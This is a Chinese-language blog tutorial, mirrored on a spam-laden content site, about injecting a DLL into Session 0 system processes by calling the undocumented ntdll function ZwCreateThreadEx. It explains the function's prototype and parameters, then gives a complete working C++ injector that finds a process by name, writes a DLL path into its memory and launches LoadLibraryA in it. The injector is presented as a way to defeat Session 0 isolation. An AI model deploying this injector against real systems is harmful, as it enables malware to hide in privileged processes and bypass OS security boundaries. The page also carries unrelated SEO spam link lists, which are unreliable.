当前位置: 首页 > news >正文

汶上网站开发wordpress添加语系

汶上网站开发,wordpress添加语系,免费购物系统,查找企业信息的网站Session是Windows系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0和Session 1的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级…

Session是Windows系统的一个安全特性,该特性引入了针对用户体验提高的安全机制,即拆分Session 0和用户会话,这种拆分Session 0Session 1的机制对于提高安全性非常有用,这是因为将桌面服务进程,驱动程序以及其他系统级服务取消了与用户会话的关联,从而限制了攻击者可用的攻击面。

由于DLL注入在Session 0中的注入机制不同于在用户会话中的注入机制,因此需要特别的考虑和处理。如果需要执行DLL注入,必须使用过度级别安全机制解决Session 0上下文问题,并且在设计安全方案时,必须考虑Session 0Session 1之间的区别。

在之前的远程线程注入章节中,我们通过使用CreateRemoteThread()这个函数来完成线程注入,此方式可以注入普通的进程,但却无法注入到系统进程中,因为系统进程是处在SESSION0高权限级别的会话层,由于CreateRemoteThread()底层会调用ZwCreateThreadEx()这个未公开的内核函数,所以当我们调用该函数的底层函数时则可实现突破Session0的注入机制。

由于该内核函数并未被导出,所以我们必须找到该函数的原型定义,并通过GetProcAddress获取到ntdll.dll模块下的ZwCreateThreadEx的函数地址,并通过ZwCreateThreadEx函数指针直接调用模块;

#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif

当拿到ZwCreateThreadEx函数指针时,则接下来就可以调用了,ZwCreateThreadEx 可以用于创建一个远程线程,即在目标进程中创建一个线程,并在这个线程中运行指定的代码。与CreateRemoteThread不同,ZwCreateThreadEx可以用于创建一个在指定进程的上下文之外的线程,即可以创建一个与指定进程无关的线程。

它的函数原型定义如下:

NTSYSAPI NTSTATUS NTAPI ZwCreateThreadEx(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,HANDLE ProcessHandle,PVOID StartRoutine,PVOID Argument,ULONG CreateFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,PPS_ATTRIBUTE_LIST AttributeList);

其参数说明如下:

  • ThreadHandle 用于返回创建的线程句柄的指针。
  • DesiredAccess 用于指定线程句柄的访问权限。
  • ObjectAttributes 一个指向 OBJECT_ATTRIBUTES 结构的指针,指定线程对象的对象名和安全性属性。
  • ProcessHandle 目标进程的句柄,即在哪个进程中创建新线程。
  • StartRoutine 一个指向新线程的入口点的指针。
  • Argument 第二个参数传递给新线程的指针。
  • CreateFlags 指定创建线程的属性,如堆栈大小、创建标志、线程属性等。
  • ZeroBits 保留参数,应该传递0。
  • StackSize 线程堆栈大小。
  • MaximumStackSize 线程堆栈的最大大小。
  • AttributeList 指向结构 PS_ATTRIBUTE_LIST,该结构可以用于在线程创建时指定各种属性。

具备了上述基本条件那么注入代码的事项将变得非常容易,如下代码是这个注入程序的完整实现流程,读者可自行测试注入效果;

#include <windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>// 传入进程名称返回该进程PID
DWORD FindProcessID(LPCTSTR szProcessName)
{DWORD dwPID = 0xFFFFFFFF;HANDLE hSnapShot = INVALID_HANDLE_VALUE;PROCESSENTRY32 pe;pe.dwSize = sizeof(PROCESSENTRY32);hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);Process32First(hSnapShot, &pe);do{if (!_tcsicmp(szProcessName, (LPCTSTR)pe.szExeFile)){dwPID = pe.th32ProcessID;break;}} while (Process32Next(hSnapShot, &pe));CloseHandle(hSnapShot);return dwPID;
}// 强力注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pDllName)
{HANDLE hProcess = NULL;SIZE_T dwSize = 0;LPVOID pDllAddr = NULL;FARPROC pFuncProcAddr = NULL;HANDLE hRemoteThread = NULL;DWORD dwStatus = 0;// 打开注入进程hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);if (NULL == hProcess){return FALSE;}// 在注入进程中申请内存dwSize = sizeof(char) + lstrlen(pDllName);pDllAddr = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);if (NULL == pDllAddr){return FALSE;}// 向申请的内存中写入数据if (FALSE == WriteProcessMemory(hProcess, pDllAddr, pDllName, dwSize, NULL)){return FALSE;}// 加载ntdll.dll模块HMODULE hNtdllDll = LoadLibrary("ntdll.dll");if (NULL == hNtdllDll){return FALSE;}// 获取LoadLibraryA函数地址pFuncProcAddr = GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");if (NULL == pFuncProcAddr){return FALSE;}// 获取ZwCreateThread函数地址
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endiftypedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");if (NULL == ZwCreateThreadEx){return FALSE;}// 调用函数执行强力注入dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess,(LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);if (NULL == hRemoteThread){return FALSE;}// 关闭句柄CloseHandle(hProcess);FreeLibrary(hNtdllDll);return TRUE;
}int main(int argc, char *argv[])
{DWORD pid = FindProcessID("lyshark.exe");std::cout << "进程PID: " << pid << std::endl;bool flag = ZwCreateThreadExInjectDll(pid, (char *)"d://hook.dll");std::cout << "注入状态: " << flag << std::endl;return 0;
}

本文作者: 王瑞
本文链接: https://www.lyshark.com/post/102cca99.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!

http://www.yayakq.cn/news/85402/

相关文章:

  • 凡客网站建站教程中山seo扣费
  • 河北云网站建设苏州网站建设设计
  • iis7.5添加网站上海工商注册网官网
  • 做网站-信科网络网站规划与建设 ppt
  • 一个好的网站怎么建设公众号推广合作平台
  • 定制网站与模板网站的主要区别网站建设 服务器主机配置
  • 国外设计类网站有哪些WordPress 游戏
  • 健身网站的建设方案江门网站建设推广策划
  • 简述企业网站的建设过程上海优化外包公司
  • 用别人网站做app的危害合购吧登录WordPress
  • 学校门户网站是什么意思许昌住房和城乡建设部网站
  • 杭州自助建站软件定制logo
  • 建设网站成本预算外贸网站打开速度
  • 做老师讲课视频的教育网站我国外贸企业网站建设
  • 网站制作是怎么做的网站模块建设方案
  • 四川省建设网塔吊证查询网站免费制作自己的微网站
  • 网站换网址了怎么找上海外贸企业
  • 找做帽子的工厂网站江门免费建站公司
  • 安徽旅游在线网站建设安徽网站优化厂家报价
  • 做网站公司好做吗推广app平台有哪些
  • 建站加盟开一个设计工作室需要什么
  • 境外网站 备案公司网页设计模板图片
  • 手机网站需要多少钱wordpress怎么做响应式网站
  • 无忧网站建设哪家好基础建设包括哪些内容
  • 伊利网站建设学校网站建设与管理
  • 怎么做图片网站网站开发报价文件
  • 音乐网站开发背景企智网络网站建设公司
  • 扒完网站代码之后怎么做模板阿里巴巴国际站运营
  • 网站域名ip地址查询沈阳整站优化
  • 深圳蚂蚁网络网站建设亚洲购物网站排名